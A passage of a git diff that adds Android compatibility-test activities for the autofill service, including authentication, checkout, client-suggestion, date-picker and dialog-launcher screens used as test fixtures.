+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.NULL;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Parcelable;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
+import android.view.inputmethod.InlineSuggestionsRequest;
+import android.widget.Button;
+import android.widget.EditText;
+
+import com.google.common.base.Preconditions;
+
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This class simulates authentication at the dataset at reponse level
+ */
+public class AuthenticationActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "AuthenticationActivity";
+    private static final String EXTRA_DATASET_ID = "dataset_id";
+    private static final String EXTRA_RESPONSE_ID = "response_id";
+
+    /**
+     * When launched with this intent, it will pass it back to the
+     * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
+     */
+    private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
+
+    /**
+     * When launched with this intent, it will pass it back to the
+     * {@link AutofillManager#EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET} of the result.
+     */
+    private static final String EXTRA_OUTPUT_IS_EPHEMERAL_DATASET = "output_is_ephemeral_dataset";
+
+
+    private static final int MSG_WAIT_FOR_LATCH = 1;
+    private static final int MSG_REQUEST_AUTOFILL = 2;
+
+    private static Bundle sData;
+    private static InlineSuggestionsRequest sInlineSuggestionsRequest;
+    private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
+    private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
+    private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
+
+    private static Object sLock = new Object();
+
+    // Guarded by sLock
+    private static int sResultCode;
+
+    // Guarded by sLock
+    // Used to block response until it's counted down.
+    private static CountDownLatch sResponseLatch;
+
+    // Guarded by sLock
+    // Used to request autofill for a autofillable view in AuthenticationActivity
+    private static boolean sRequestAutofill;
+
+    private Handler mHandler;
+
+    private EditText mPasswordEditText;
+    private Button mYesButton;
+
+    public static void resetStaticState() {
+        setResultCode(null, RESULT_OK);
+        setRequestAutofillForAuthenticationActivity(/* requestAutofill */ false);
+        sDatasets.clear();
+        sResponses.clear();
+        sData = null;
+        sInlineSuggestionsRequest = null;
+        for (int i = 0; i < sPendingIntents.size(); i++) {
+            final PendingIntent pendingIntent = sPendingIntents.get(i);
+            Log.d(TAG, "Cancelling " + pendingIntent);
+            pendingIntent.cancel();
+        }
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id for the given dataset.
+     */
+    public static IntentSender createSender(Context context, int id, CannedDataset dataset) {
+        return createSender(context, id, dataset, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedDataset dataset, Bundle outClientState) {
+        return createSender(context, id, dataset, outClientState, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedDataset dataset, Bundle outClientState, Boolean isEphemeralDataset) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        Preconditions.checkState(sDatasets.get(id) == null, "already have id");
+        sDatasets.put(id, dataset);
+        return createSender(context, EXTRA_DATASET_ID, id, outClientState, isEphemeralDataset);
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id for the given fill response.
+     */
+    public static IntentSender createSender(Context context, int id,
+            CannedFillResponse response) {
+        return createSender(context, id, response, null);
+    }
+
+    public static IntentSender createSender(Context context, int id,
+            CannedFillResponse response, Bundle outData) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        Preconditions.checkState(sResponses.get(id) == null, "already have id");
+        sResponses.put(id, response);
+        return createSender(context, EXTRA_RESPONSE_ID, id, outData, null);
+    }
+
+    private static IntentSender createSender(Context context, String extraName, int id,
+            Bundle outClientState, Boolean isEphemeralDataset) {
+        final Intent intent = new Intent(context, AuthenticationActivity.class);
+        intent.putExtra(extraName, id);
+        if (outClientState != null) {
+            Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
+            intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
+        }
+        if (isEphemeralDataset != null) {
+            Log.d(TAG, "Create with " + isEphemeralDataset + " as "
+                    + EXTRA_OUTPUT_IS_EPHEMERAL_DATASET);
+            intent.putExtra(EXTRA_OUTPUT_IS_EPHEMERAL_DATASET, isEphemeralDataset);
+        }
+        final PendingIntent pendingIntent =
+                PendingIntent.getActivity(context, id, intent, PendingIntent.FLAG_MUTABLE);
+        sPendingIntents.add(pendingIntent);
+        return pendingIntent.getIntentSender();
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id.
+     */
+    public static IntentSender createSender(Context context, int id) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        return PendingIntent
+                .getActivity(context, id, new Intent(context, AuthenticationActivity.class),
+                        PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE)
+                .getIntentSender();
+    }
+
+    public static Bundle getData() {
+        final Bundle data = sData;
+        sData = null;
+        return data;
+    }
+
+    public static InlineSuggestionsRequest getInlineSuggestionsRequest() {
+        final InlineSuggestionsRequest request = sInlineSuggestionsRequest;
+        sInlineSuggestionsRequest = null;
+        return request;
+    }
+
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
+     * {@link Activity#onCreate(Bundle)}.
+     */
+    public static void setResultCode(int resultCode) {
+        synchronized (sLock) {
+            sResultCode = resultCode;
+        }
+    }
+
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
+     * after the {@code latch}'s countdown reaches {@code 0}.
+     */
+    public static void setResultCode(CountDownLatch latch, int resultCode) {
+        synchronized (sLock) {
+            sResponseLatch = latch;
+            sResultCode = resultCode;
+        }
+    }
+
+    public static void setRequestAutofillForAuthenticationActivity(boolean requestAutofill) {
+        synchronized (sLock) {
+            sRequestAutofill = requestAutofill;
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.authentication_activity);
+
+        mPasswordEditText = findViewById(R.id.password);
+        mYesButton = findViewById(R.id.yes);
+        mYesButton.setOnClickListener(view -> doIt());
+
+        mHandler = new Handler(Looper.getMainLooper(), (m) -> {
+            switch (m.what) {
+                case MSG_WAIT_FOR_LATCH:
+                    waitForLatchAndDoIt();
+                    break;
+                case MSG_REQUEST_AUTOFILL:
+                    requestFocusOnPassword();
+                    break;
+                default:
+                    throw new IllegalArgumentException("invalid message: " + m);
+            }
+            return true;
+        });
+
+        if (sResponseLatch != null) {
+            Log.d(TAG, "Delaying message until latch is counted down");
+            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+        } else if (sRequestAutofill) {
+            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_REQUEST_AUTOFILL));
+        } else {
+            doIt();
+        }
+    }
+
+    private void requestFocusOnPassword() {
+        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
+    }
+
+    private void waitForLatchAndDoIt() {
+        try {
+            final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
+            if (!called) {
+                throw new IllegalStateException("latch not called in 5 seconds");
+            }
+            doIt();
+        } catch (InterruptedException e) {
+            Thread.interrupted();
+            throw new IllegalStateException("interrupted");
+        }
+    }
+
+    private void doIt() {
+        // We should get the assist structure...
+        final AssistStructure structure = getIntent().getParcelableExtra(
+                AutofillManager.EXTRA_ASSIST_STRUCTURE);
+        assertWithMessage("structure not called").that(structure).isNotNull();
+
+        // and the bundle
+        sData = getIntent().getBundleExtra(AutofillManager.EXTRA_CLIENT_STATE);
+        sInlineSuggestionsRequest = getIntent().getParcelableExtra(
+                AutofillManager.EXTRA_INLINE_SUGGESTIONS_REQUEST);
+        final CannedFillResponse response =
+                sResponses.get(getIntent().getIntExtra(EXTRA_RESPONSE_ID, 0));
+        final CannedDataset dataset =
+                sDatasets.get(getIntent().getIntExtra(EXTRA_DATASET_ID, 0));
+
+        final Parcelable result;
+
+        if (response != null) {
+            if (response.getResponseType() == NULL) {
+                result = null;
+            } else {
+                result = response.asFillResponse(/* contexts= */ null,
+                        (id) -> Helper.findNodeByResourceId(structure, id));
+            }
+        } else if (dataset != null) {
+            result = dataset.asDatasetWithNodeResolver(
+                    (id) -> Helper.findNodeByResourceId(structure, id));
+        } else {
+            throw new IllegalStateException("no dataset or response");
+        }
+
+        // Pass on the auth result
+        final Intent intent = new Intent();
+        intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+
+        final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
+        if (outClientState != null) {
+            Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
+            intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
+        }
+        if (getIntent().getExtras().containsKey(EXTRA_OUTPUT_IS_EPHEMERAL_DATASET)) {
+            final boolean isEphemeralDataset = getIntent().getBooleanExtra(
+                    EXTRA_OUTPUT_IS_EPHEMERAL_DATASET, false);
+            Log.d(TAG, "Adding " + isEphemeralDataset + " as "
+                    + AutofillManager.EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET);
+            intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET,
+                    isEphemeralDataset);
+        }
+
+        final int resultCode;
+        synchronized (sLock) {
+            resultCode = sResultCode;
+        }
+        Log.d(TAG, "Returning code " + resultCode);
+        setResult(resultCode, intent);
+
+        // Done
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/CheckoutActivity.java
new file mode 100644
index 0000000..61d2269
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/CheckoutActivity.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static android.widget.ArrayAdapter.createFromResource;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeCompoundButtonListener;
+import android.autofillservice.cts.testcore.OneTimeRadioGroupListener;
+import android.autofillservice.cts.testcore.OneTimeSpinnerListener;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.ArrayAdapter;
+import android.widget.Button;
+import android.widget.CheckBox;
+import android.widget.DatePicker;
+import android.widget.EditText;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
+import android.widget.Spinner;
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Credit Card Number EditText (id: cc_numberusername, no input-type)
+ *   <li>Credit Card Expiration EditText (id: cc_expiration, no input-type)
+ *   <li>Address RadioGroup (id: addess, no autofill-type)
+ *   <li>Save Credit Card CheckBox (id: save_cc, no autofill-type)
+ *   <li>Clear Button
+ *   <li>Buy Button
+ *   <li>DatePicker
+ *   <li>TimePicker
+ * </ul>
+ */
+public class CheckoutActivity extends AbstractAutoFillActivity {
+    private static final long BUY_TIMEOUT_MS = 1000;
+
+    public static final String ID_CC_NUMBER = "cc_number";
+    public static final String ID_CC_EXPIRATION = "cc_expiration";
+    public static final String ID_ADDRESS = "address";
+    public static final String ID_HOME_ADDRESS = "home_address";
+    public static final String ID_WORK_ADDRESS = "work_address";
+    public static final String ID_SAVE_CC = "save_cc";
+    public static final String ID_DATE_PICKER = "datePicker";
+    public static final String ID_TIME_PICKER = "timePicker";
+
+    public static final int INDEX_ADDRESS_HOME = 0;
+    public static final int INDEX_ADDRESS_WORK = 1;
+
+    public static final int INDEX_CC_EXPIRATION_YESTERDAY = 0;
+    public static final int INDEX_CC_EXPIRATION_TODAY = 1;
+    public static final int INDEX_CC_EXPIRATION_TOMORROW = 2;
+    public static final int INDEX_CC_EXPIRATION_NEVER = 3;
+
+    private EditText mCcNumber;
+    private Spinner mCcExpiration;
+    private ArrayAdapter<CharSequence> mCcExpirationAdapter;
+    private RadioGroup mAddress;
+    private RadioButton mHomeAddress;
+    private RadioButton mWorkAddress;
+    private CheckBox mSaveCc;
+    private Button mBuyButton;
+    private Button mClearButton;
+    private DatePicker mDatePicker;
+    private TimePicker mTimePicker;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mBuyLatch;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mCcNumber = findViewById(R.id.cc_number);
+        mCcExpiration = findViewById(R.id.cc_expiration);
+        mAddress = findViewById(R.id.address);
+        mHomeAddress = findViewById(R.id.home_address);
+        mWorkAddress = findViewById(R.id.work_address);
+        mSaveCc = findViewById(R.id.save_cc);
+        mBuyButton = findViewById(R.id.buy);
+        mClearButton = findViewById(R.id.clear);
+        mDatePicker = findViewById(R.id.datePicker);
+        mTimePicker = findViewById(R.id.timePicker);
+
+        mCcExpirationAdapter = createFromResource(this,
+                R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
+        mCcExpirationAdapter
+                .setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        mCcExpiration.setAdapter(mCcExpirationAdapter);
+
+        mBuyButton.setOnClickListener((v) -> buy());
+        mClearButton.setOnClickListener((v) -> resetFields());
+    }
+
+    protected int getContentView() {
+        return R.layout.checkout_activity;
+    }
+
+    /**
+     * Resets the values of the input fields.
+     */
+    private void resetFields() {
+        mCcNumber.setText("");
+        mCcExpiration.setSelection(0, false);
+        mAddress.clearCheck();
+        mSaveCc.setChecked(false);
+    }
+
+    /**
+     * Emulates a buy action.
+     */
+    private void buy() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Thank you an come again!");
+        startActivity(intent);
+        if (mBuyLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mBuyLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String ccNumber, int ccExpirationIndex, int addressId,
+            boolean saveCc) {
+        mExpectation = new FillExpectation(ccNumber, ccExpirationIndex, addressId, saveCc);
+        mCcNumber.addTextChangedListener(mExpectation.ccNumberWatcher);
+        mCcExpiration.setOnItemSelectedListener(mExpectation.ccExpirationListener);
+        mAddress.setOnCheckedChangeListener(mExpectation.addressListener);
+        mSaveCc.setOnCheckedChangeListener(mExpectation.saveCcListener);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int, boolean)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccNumberWatcher.assertAutoFilled();
+        mExpectation.ccExpirationListener.assertAutoFilled();
+        mExpectation.addressListener.assertAutoFilled();
+        mExpectation.saveCcListener.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code ccNumber} in the UiThread.
+     */
+    public void onCcNumber(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mCcNumber));
+    }
+
+    /**
+     * Visits the {@code ccExpirationDate} in the UiThread.
+     */
+    public void onCcExpiration(Visitor<Spinner> v) {
+        syncRunOnUiThread(() -> v.visit(mCcExpiration));
+    }
+
+    /**
+     * Visits the {@code ccExpirationDate} adapter in the UiThread.
+     */
+    public void onCcExpirationAdapter(Visitor<ArrayAdapter<CharSequence>> v) {
+        syncRunOnUiThread(() -> v.visit(mCcExpirationAdapter));
+    }
+
+    /**
+     * Visits the {@code address} in the UiThread.
+     */
+    public void onAddress(Visitor<RadioGroup> v) {
+        syncRunOnUiThread(() -> v.visit(mAddress));
+    }
+
+    /**
+     * Visits the {@code homeAddress} in the UiThread.
+     */
+    public void onHomeAddress(Visitor<RadioButton> v) {
+        syncRunOnUiThread(() -> v.visit(mHomeAddress));
+    }
+
+    /**
+     * Visits the {@code workAddress} in the UiThread.
+     */
+    public void onWorkAddress(Visitor<RadioButton> v) {
+        syncRunOnUiThread(() -> v.visit(mWorkAddress));
+    }
+
+    /**
+     * Visits the {@code saveCC} in the UiThread.
+     */
+    public void onSaveCc(Visitor<CheckBox> v) {
+        syncRunOnUiThread(() -> v.visit(mSaveCc));
+    }
+
+    /**
+     * Taps the buy button in the UI thread.
+     */
+    public void tapBuy() throws Exception {
+        mBuyLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mBuyButton.performClick());
+        boolean called = mBuyLatch.await(BUY_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for buy action", BUY_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    public EditText getCcNumber() {
+        return mCcNumber;
+    }
+
+    public Spinner getCcExpiration() {
+        return mCcExpiration;
+    }
+
+    public CheckBox getSaveCc() {
+        return mSaveCc;
+    }
+
+    public RadioGroup getAddress() {
+        return mAddress;
+    }
+
+    public DatePicker getDatePicker() {
+        return mDatePicker;
+    }
+
+    public TimePicker getTimePicker() {
+        return mTimePicker;
+    }
+
+    public void assertRadioButtonValue(boolean homeAddrValue, boolean workAddrValue)
+            throws Exception {
+        assertThat(mHomeAddress.isChecked()).isEqualTo(homeAddrValue);
+        assertThat(mWorkAddress.isChecked()).isEqualTo(workAddrValue);
+    }
+
+    public ArrayAdapter<CharSequence> getCcExpirationAdapter() {
+        return mCcExpirationAdapter;
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher ccNumberWatcher;
+        private final OneTimeSpinnerListener ccExpirationListener;
+        private final OneTimeRadioGroupListener addressListener;
+        private final OneTimeCompoundButtonListener saveCcListener;
+
+        private FillExpectation(String ccNumber, int ccExpirationIndex, int addressId,
+                boolean saveCc) {
+            this.ccNumberWatcher = new OneTimeTextWatcher("ccNumber", mCcNumber, ccNumber);
+            this.ccExpirationListener =
+                    new OneTimeSpinnerListener("ccExpiration", mCcExpiration, ccExpirationIndex);
+            addressListener = new OneTimeRadioGroupListener("address", mAddress, addressId);
+            saveCcListener = new OneTimeCompoundButtonListener("saveCc", mSaveCc, saveCc);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ClientSuggestionsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ClientSuggestionsActivity.java
new file mode 100644
index 0000000..f69aa02
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ClientSuggestionsActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.ClientAutofillRequestCallback;
+import android.autofillservice.cts.testcore.Helper;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import java.util.Map;
+import java.util.concurrent.Executor;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Username EditText (id: username, no input-type)
+ *   <li>Password EditText (id: "username", input-type textPassword)
+ *   <li>Clear Button
+ *   <li>Save Button
+ *   <li>Login Button
+ * </ul>
+ */
+public class ClientSuggestionsActivity extends LoginActivity {
+    private static final String TAG = "ClientSuggestionsActivity";
+    private Handler mHandler;
+    ClientAutofillRequestCallback mRequestCallback;
+
+    private final Map<String, AutofillId> mMap = new ArrayMap<>();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mHandler = new Handler(Looper.myLooper());
+
+        mMap.put(Helper.ID_USERNAME, findViewById(R.id.username).getAutofillId());
+        mMap.put(Helper.ID_PASSWORD, findViewById(R.id.password).getAutofillId());
+        mHandler = new Handler(Looper.getMainLooper());
+        Executor executor = new Executor(){
+            @Override
+            public void execute(Runnable command) {
+                mHandler.post(command);
+            }
+        };
+        mRequestCallback = new ClientAutofillRequestCallback(mHandler, (id)-> mMap.get(id));
+        getAutofillManager().setAutofillRequestCallback(executor, mRequestCallback);
+    }
+
+    @Override
+    public void addChild(View child) {
+        throw new AssertionError("Uses addChild(View, String) instead");
+    }
+
+    public void addChild(View child, String id) {
+        Log.d(TAG, "addChild(" + child + "): id=" + child.getAutofillId());
+        super.addChild(child);
+
+        mMap.put(id, child.getAutofillId());
+    }
+
+    public ClientAutofillRequestCallback.Replier getReplier() {
+        return mRequestCallback.getReplier();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerCalendarActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerCalendarActivity.java
new file mode 100644
index 0000000..7ccf760
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerCalendarActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class DatePickerCalendarActivity extends AbstractDatePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.date_picker_calendar_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerSpinnerActivity.java
new file mode 100644
index 0000000..729f1d3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DatePickerSpinnerActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class DatePickerSpinnerActivity extends AbstractDatePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.date_picker_spinner_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DialogLauncherActivity.java
new file mode 100644
index 0000000..d986328
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DialogLauncherActivity.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AlertDialog;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.UiBot;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.EditText;
+
+/**
+ * Activity that has buttons to launch dialogs that should then be autofillable.
+ */
+public class DialogLauncherActivity extends AbstractAutoFillActivity {
+
+    private FillExpectation mExpectation;
+    private LoginDialog mDialog;
+    Button mLaunchButton;
+
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.dialog_launcher_activity);
+        mLaunchButton = findViewById(R.id.launch_button);
+        mDialog = new LoginDialog(this);
+        mLaunchButton.setOnClickListener((v) -> mDialog.show());
+    }
+
+    public void onUsername(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
+    }
+
+    public void launchDialog(UiBot uiBot) throws Exception {
+        syncRunOnUiThread(() -> mLaunchButton.performClick());
+        // TODO: should assert by id, but it's not working
+        uiBot.assertShownByText("Username");
+    }
+
+    public void assertInDialogBounds(Rect rect) {
+        final int[] location = new int[2];
+        final View view = mDialog.getWindow().getDecorView();
+        view.getLocationOnScreen(location);
+        assertThat(location[0]).isAtMost(rect.left);
+        assertThat(rect.right).isAtMost(location[0] + view.getWidth());
+        assertThat(location[1]).isAtMost(rect.top);
+        assertThat(rect.bottom).isAtMost(location[1] + view.getHeight());
+    }
+
+    public void maximizeDialog() {
+        final WindowManager wm = getWindowManager();
+        final Display display = wm.getDefaultDisplay();
+        final DisplayMetrics metrics = new DisplayMetrics();
+        display.getMetrics(metrics);
+        syncRunOnUiThread(
+                () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
+    }
+
+    public void expectAutofill(String username, String password) {
+        assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
+                .isNotNull();
+        mExpectation = new FillExpectation(username, password);
+        mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
+        mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
+    }
+
+    public void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.mCcUsernameWatcher != null) {
+            mExpectation.mCcUsernameWatcher.assertAutoFilled();
+        }
+        if (mExpectation.mCcPasswordWatcher != null) {
+            mExpectation.mCcPasswordWatcher.assertAutoFilled();
+        }
+    }
+
+    private final class FillExpectation {
+        private final OneTimeTextWatcher mCcUsernameWatcher;
+        private final OneTimeTextWatcher mCcPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            mCcUsernameWatcher = username == null ? null
+                    : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
+            mCcPasswordWatcher = password == null ? null
+                    : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
+        }
+
+        private FillExpectation(String username) {
+            this(username, null);
+        }
+    }
+
+    public final class LoginDialog extends AlertDialog {
+
+        private EditText mUsernameEditText;
+        private EditText mPasswordEditText;
+
+        public LoginDialog(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            setContentView(R.layout.login_activity);
+            mUsernameEditText = findViewById(R.id.username);
+            mPasswordEditText = findViewById(R.id.password);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DummyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DummyActivity.java
new file mode 100644
index 0000000..3832b5d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DummyActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
